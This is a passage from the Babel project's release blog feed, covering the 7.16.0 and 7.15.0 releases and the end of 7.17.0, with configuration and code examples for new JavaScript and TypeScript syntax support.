<p>You can enable this proposal using the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-unicode-sets-regex" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-proposal-unicode-sets-regex</code></a> plugin:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": ["@babel/plugin-proposal-unicode-sets-regex"]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Babel relies on different third-party packages to transform regular expressions: we are grateful to the maintainers of <a href="https://github.com/jviereck/regjsparser/" target="_blank" rel="noopener noreferrer">regjsparser</a>, <a href="https://github.com/bnjmnt4n/regjsgen" target="_blank" rel="noopener noreferrer">regjsgen</a> and <a href="https://github.com/mathiasbynens/regexpu-core/" target="_blank" rel="noopener noreferrer">regexpu-core</a> who took time to review our pull requests!</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="-and--topic-tokens-for-hack-style-pipes-13973"><code>@@</code> and <code>^^</code> topic tokens for Hack-style pipes (<a href="https://github.com/babel/babel/pull/13973" target="_blank" rel="noopener noreferrer">#13973</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#-and--topic-tokens-for-hack-style-pipes-13973" class="hash-link" aria-label="Direct link to -and--topic-tokens-for-hack-style-pipes-13973" title="Direct link to -and--topic-tokens-for-hack-style-pipes-13973">​</a></h3>
<p>We are continuing to help the proposal authors evaluate different tokens for the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer">pipeline operator</a> proposal: one of the champions, <a href="https://jschoi.org/" target="_blank" rel="noopener noreferrer">J. S. Choi</a>, added support for two new tokens that you can try with the <code>topicToken</code> option:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-pipeline-operator", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "proposal": "hack",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "topicToken": "^^" // or "@@"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can read more about the supported variations in the <a href="https://babeljs.io/docs/en/babel-plugin-proposal-pipeline-operator" target="_blank" rel="noopener noreferrer"><code>@babel/plugin-proposal-pipeline-operator</code></a> docs.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="experimental-babelregister-rewrite-13782">Experimental <code>@babel/register</code> rewrite (<a href="https://github.com/babel/babel/pull/13782" target="_blank" rel="noopener noreferrer">#13782</a>)<a href="https://babeljs.io/blog/2022/02/02/7.17.0#experimental-babelregister-rewrite-13782" class="hash-link" aria-label="Direct link to experimental-babelregister-rewrite-13782" title="Direct link to experimental-babelregister-rewrite-13782">​</a></h3>
<p>We plan to release Babel 8 as an ESM package. However, this poses a big problem: how to load and run it synchronously in CommonJS packages?</p>
<p>Usually most Babel consumers can run Babel asynchronously, or at least <em>load</em> it asynchronously. This isn't true for <a href="https://www.npmjs.com/package/@babel/eslint-parser" target="_blank" rel="noopener noreferrer"><code>@babel/eslint-parser</code></a> (which integrates Babel's parser with ESLint) and <a href="https://babeljs.io/docs/en/babel-register" target="_blank" rel="noopener noreferrer"><code>@babel/register</code></a> (which can be used to transpile Node.js files on-the-fly), where we need to move parsing and transforming to a separate worker.</p>
<p>Babel 7.16.0 exposes the new experimental <code>@babel/register</code> implementation at <code>@babel/register/experimental-worker</code>: it internally runs Babel asynchronously, so it's compatible with <a href="https://babeljs.io/docs/en/config-files#configuration-file-types" target="_blank" rel="noopener noreferrer"><code>.mjs</code> configuration files</a> and with <code>.mjs</code> Babel plugins. It will be enabled by default in Babel 8, and you can already use it as a replacement for <code>@babel/register</code> with a few caveats:</p>
<ul>
<li>If you programmatically specify <code>@babel/register</code> options (using <code>require("@babel/register")({ /* ... options */ })</code>), you must make sure that they are serializable. This means that you cannot pass plugin functions defined inline, but you must move them to a separate <code>./my-plugin.js</code> file or to a <code>babel.config.js</code> file.</li>
<li>The new implementation is still experimental: it <em>should</em> have the same features as the existing one, but there are a few <a href="https://github.com/babel/babel/pull/14025#issuecomment-1003547657" target="_blank" rel="noopener noreferrer">improvements</a> that we are exploring.</li>
</ul>
<p>We already released the new experimental <code>@babel/eslint-parser</code> implementation in <a href="https://babeljs.io/blog/2021/07/26/7.15.0#preparing-babeleslint-parser-for-babel-8-13398httpsgithubcombabelbabelpull13398" target="_blank" rel="noopener noreferrer">Babel 7.15.0</a>, exposed at <code>@babel/eslint-parser/experimental-worker</code>.</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.16.0 Released: ESLint 8 and TypeScript 4.5]]></title>
        <id>https://babeljs.io/blog/2021/10/29/7.16.0</id>
        <link href="https://babeljs.io/blog/2021/10/29/7.16.0"/>
        <updated>2021-10-29T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[We just published Babel 7.16.0!]]></summary>
        <content type="html"><![CDATA[<p>We just published Babel 7.16.0!</p>
<p>This release enables <a href="https://github.com/tc39/proposal-class-static-block" target="_blank" rel="noopener noreferrer">class static initialization blocks</a> by default. It includes support for a new variant of the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer">pipeline operator</a> proposal, as well as TypeScript 4.5 compatibility.</p>
<p>Furthermore, <code>@babel/eslint-parser</code> now supports ESLint 8.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.16.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>If you or your company want to support Babel and the evolution of JavaScript, but aren't sure how, you can donate to us on our <a href="https://github.com/babel/babel?sponsor=1" target="_blank" rel="noopener noreferrer">Open Collective</a> and, better yet, work with us on the implementation of <a href="https://github.com/babel/proposals" target="_blank" rel="noopener noreferrer">new ECMAScript proposals</a> directly! As a volunteer-driven project, we rely on the community's support to fund our efforts in supporting the wide range of JavaScript users. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss more!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/10/29/7.16.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="class-static-blocks-enabled-by-default-13713">Class static blocks enabled by default (<a href="https://github.com/babel/babel/pull/13713" target="_blank" rel="noopener noreferrer">#13713</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#class-static-blocks-enabled-by-default-13713" class="hash-link" aria-label="Direct link to class-static-blocks-enabled-by-default-13713" title="Direct link to class-static-blocks-enabled-by-default-13713">​</a></h3>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">MyClass</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token function" style="color:#4271ae">doSomeInitialization</span><span class="token punctuation">(</span><span class="token maybe-class-name">MyClass</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token console class-name" style="color:#eab700">console</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">log</span><span class="token punctuation">(</span><span class="token string" style="color:#718c00">"MyClass initialized!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Static blocks, that <a href="https://github.com/tc39/notes/blob/HEAD/meetings/2021-08/aug-31.md#class-static-initialization-blocks-for-stage-4" target="_blank" rel="noopener noreferrer">reached Stage 4 in August</a>, are now enabled by default in <code>@babel/parser</code> and <code>@babel/preset-env</code>.</p>
<p>If you were using the <code>classStaticBlock</code> parser plugin, or <code>@babel/plugin-syntax-class-static-block</code>, you can safely remove them from your config.</p>
<p>If you already use <code>@babel/preset-env</code>, you can now remove <code>@babel/plugin-proposal-class-static-block</code> from your config.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="typescript-45-features-13802-13838">TypeScript 4.5 features (<a href="https://github.com/babel/babel/pull/13802" target="_blank" rel="noopener noreferrer">#13802</a>, <a href="https://github.com/babel/babel/pull/13838" target="_blank" rel="noopener noreferrer">#13838</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#typescript-45-features-13802-13838" class="hash-link" aria-label="Direct link to typescript-45-features-13802-13838" title="Direct link to typescript-45-features-13802-13838">​</a></h3>
<p>TypeScript 4.5 introduces a new syntax for marking imports as type-only: rather than marking the whole import statement, you can mark a single specifier:</p>
<div class="language-ts codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-ts codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token comment" style="color:#8e908c">// TypeScript 4.4</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> Foo </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"my-module"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> fooInstance </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"my-module"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// TypeScript 4.5</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Foo</span><span class="token punctuation">,</span><span class="token plain"> fooInstance </span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"my-module"</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>It also supports two new file extensions: <code>.mts</code> and <code>.cts</code>, that mirror <code>.mjs</code> and <code>.cjs</code>. When passing an <code>.mts</code> or <code>.cts</code> file to Babel with <code>@babel/preset-typescript</code> enabled, it uses the file extension to detect the desired source type (<code>"module"</code> or <code>"script"</code>).</p>
<p><code>.mts</code> and <code>.cts</code> file cannot contain JSX code by default, but they cannot contain TypeScript annotations that would be ambiguous with JSX (<code>&lt;Type&gt; cast</code> and <code>&lt;T&gt;() =&gt; {}</code>).</p>
<p>You can read the full TypeScript 4.5 release post <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-5/" target="_blank" rel="noopener noreferrer">on their blog</a>.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="-topic-token-for-hack-style-pipes-13749"><code>^</code> topic token for Hack-style pipes (<a href="https://github.com/babel/babel/pull/13749" target="_blank" rel="noopener noreferrer">#13749</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#-topic-token-for-hack-style-pipes-13749" class="hash-link" aria-label="Direct link to -topic-token-for-hack-style-pipes-13749" title="Direct link to -topic-token-for-hack-style-pipes-13749">​</a></h3>
<p>The champions of the <a href="https://github.com/tc39/proposal-pipeline-operator" target="_blank" rel="noopener noreferrer">pipeline operator</a> proposal are considering <a href="https://github.com/tc39/proposal-pipeline-operator/wiki/Bikeshedding-the-Hack-topic-token" target="_blank" rel="noopener noreferrer">various topic tokens</a> (the reference to the value from the previous pipeline step).</p>
<p><code>@babel/plugin-proposal-pipeline-operator</code> (and the <code>"pipelineOperator"</code> parser plugin) now support three of them: <code>#</code>, <code>^</code> and <code>%</code>.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">let</span><span class="token plain"> values </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">getNames</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token string" style="color:#718c00">"default"</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">concat</span><span class="token punctuation">(</span><span class="token operator">^</span><span class="token punctuation">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token operator">|</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">loadValues</span><span class="token punctuation">(</span><span class="token operator">^</span><span class="token punctuation">)</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>You can enable the current version of the pipeline operator proposal using the <code>proposal: "hack"</code> option, and you can choose the topic token using <code>topicToken: "^"</code>:</p>
<div class="language-json codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">babel.config.json</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-json codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">{</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  "plugins": [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ["@babel/plugin-proposal-pipeline-operator", {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "proposal": "hack",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">      "topicToken": "^"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    }]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="eslint-8-support-in-babeleslint-parser-13782">ESLint 8 support in <code>@babel/eslint-parser</code> (<a href="https://github.com/babel/babel/pull/13782" target="_blank" rel="noopener noreferrer">#13782</a>)<a href="https://babeljs.io/blog/2021/10/29/7.16.0#eslint-8-support-in-babeleslint-parser-13782" class="hash-link" aria-label="Direct link to eslint-8-support-in-babeleslint-parser-13782" title="Direct link to eslint-8-support-in-babeleslint-parser-13782">​</a></h3>
<p><code>@babel/eslint-parser</code> now supports ESLint 8: you can update your <code>"eslint"</code> dependency and it will just work.</p>
<p>If you are an ESLint plugin author, pay attention to the breaking change in the AST for class fields and private methods: when using ESLint 7 they follow the <a href="https://github.com/babel/babel/blob/v7.16.0/packages/babel-parser/ast/spec.md" target="_blank" rel="noopener noreferrer">Babel AST shape</a>; when using ESLint 8 they follow ESLint and the <a href="https://github.com/estree/estree/blob/91f49977f1f05dea86c112a070a703bb37f5722d/es2022.md#propertydefinition" target="_blank" rel="noopener noreferrer">ESTree specification</a>. This is because ESLint introduced support for these new class features starting from ESLint 8.</p>]]></content>
        <author>
            <name>Babel Team</name>
            <uri>https://twitter.com/babeljs</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[7.15.0 Released: Hack-style pipelines, TypeScript const enums and Rhino target support]]></title>
        <id>https://babeljs.io/blog/2021/07/26/7.15.0</id>
        <link href="https://babeljs.io/blog/2021/07/26/7.15.0"/>
        <updated>2021-07-26T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[This release enables parsing top-level await (Stage 4 at the May meeting) and transforming ergonomic brand checks for private fields (Stage 4 at the July meeting) by default. There is also now support for the Hack-style pipeline operator. We also improved our TypeScript support, implementing transform support for const enums and namespace aliases, and we expanded our heuristics to add .displayName to React components created by React.createContext() (#13501).]]></summary>
        <content type="html"><![CDATA[<p>This release enables parsing top-level await (Stage 4 at the <a href="https://github.com/tc39/agendas/blob/master/2021/05.md" target="_blank" rel="noopener noreferrer">May</a> meeting) and transforming ergonomic brand checks for private fields (Stage 4 at the <a href="https://github.com/tc39/agendas/blob/master/2021/07.md" target="_blank" rel="noopener noreferrer">July</a> meeting) by default. There is also now support for the <a href="https://github.com/js-choi/proposal-hack-pipes" target="_blank" rel="noopener noreferrer">Hack-style</a> pipeline operator. We also improved our TypeScript support, implementing transform support for <code>const</code> enums and namespace aliases, and we expanded our heuristics to add <code>.displayName</code> to React components created by <code>React.createContext()</code> (<a href="https://github.com/babel/babel/pull/13501" target="_blank" rel="noopener noreferrer">#13501</a>).</p>
<p>We also introduced a new compiler assumption, <a href="https://babeljs.io/docs/en/assumptions#noincompletensimportdetection" target="_blank" rel="noopener noreferrer"><code>noIncompleteNsImportDetection</code></a>, to produce a smaller output when compiling ECMAScript modules to CommonJS without worrying about partially initialized namespace imports caused by module cycles.</p>
<p>Additionally, you can now specify <a href="https://mozilla.github.io/rhino/" target="_blank" rel="noopener noreferrer">Rhino</a> as a compilation target.</p>
<p>You can read the whole changelog <a href="https://github.com/babel/babel/releases/tag/v7.15.0" target="_blank" rel="noopener noreferrer">on GitHub</a>.</p>
<p>We're really grateful for all the support the community has shown over the last months, since our <a href="https://babeljs.io/blog/2021/05/10/funding-update" target="_blank" rel="noopener noreferrer">funding post</a> update in May. Reach out at <a href="mailto:team@babeljs.io" target="_blank" rel="noopener noreferrer">team@babeljs.io</a> if you'd like to discuss about sponsorships!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="highlights">Highlights<a href="https://babeljs.io/blog/2021/07/26/7.15.0#highlights" class="hash-link" aria-label="Direct link to Highlights" title="Direct link to Highlights">​</a></h2>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="ecmascript-features-enabled-by-default">ECMAScript features enabled by default<a href="https://babeljs.io/blog/2021/07/26/7.15.0#ecmascript-features-enabled-by-default" class="hash-link" aria-label="Direct link to ECMAScript features enabled by default" title="Direct link to ECMAScript features enabled by default">​</a></h3>
<p>In the last two meetings, the <a href="https://github.com/tc39/proposal-top-level-await" target="_blank" rel="noopener noreferrer">top-level <code>await</code></a> and <a href="https://github.com/tc39/proposal-private-fields-in-in" target="_blank" rel="noopener noreferrer">ergonomic brand checks for private fields</a> proposals reached Stage 4.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword module" style="color:#8959a8">import</span><span class="token plain"> </span><span class="token imports operator">*</span><span class="token imports"> </span><span class="token imports keyword module" style="color:#8959a8">as</span><span class="token imports"> db</span><span class="token plain"> </span><span class="token keyword module" style="color:#8959a8">from</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"database"</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword control-flow" style="color:#8959a8">await</span><span class="token plain"> db</span><span class="token punctuation">.</span><span class="token method function property-access" style="color:#4271ae">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// top-level await</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">class</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">DBConnector</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  #password</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">static</span><span class="token plain"> </span><span class="token function" style="color:#4271ae">isConnector</span><span class="token punctuation">(</span><span class="token parameter" style="color:#f5871f">obj</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword control-flow" style="color:#8959a8">return</span><span class="token plain"> #password </span><span class="token keyword" style="color:#8959a8">in</span><span class="token plain"> obj</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// ergonomic brand checks</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Babel now supports them by default, so you can remove the following plugins from your configuration:</p>
<ul>
<li><code>@babel/plugin-syntax-top-level-await</code></li>
<li><code>@babel/plugin-syntax-private-property-in-object</code></li>
<li><code>@babel/plugin-proposal-private-property-in-object</code></li>
</ul>
<p>Please note that Babel can currently only parse top-level <code>await</code> and cannot transform it.</p>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="new-typescript-features-13324-13528">New TypeScript features (<a href="https://github.com/babel/babel/pull/13324" target="_blank" rel="noopener noreferrer">#13324</a>, <a href="https://github.com/babel/babel/pull/13528" target="_blank" rel="noopener noreferrer">#13528</a>)<a href="https://babeljs.io/blog/2021/07/26/7.15.0#new-typescript-features-13324-13528" class="hash-link" aria-label="Direct link to new-typescript-features-13324-13528" title="Direct link to new-typescript-features-13324-13528">​</a></h3>
<p><a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-4/" target="_blank" rel="noopener noreferrer">TypeScript 4.4</a> doesn't include any new syntax that we had to implement, other than a minor restriction: you cannot specify the value of an abstract class field.</p>
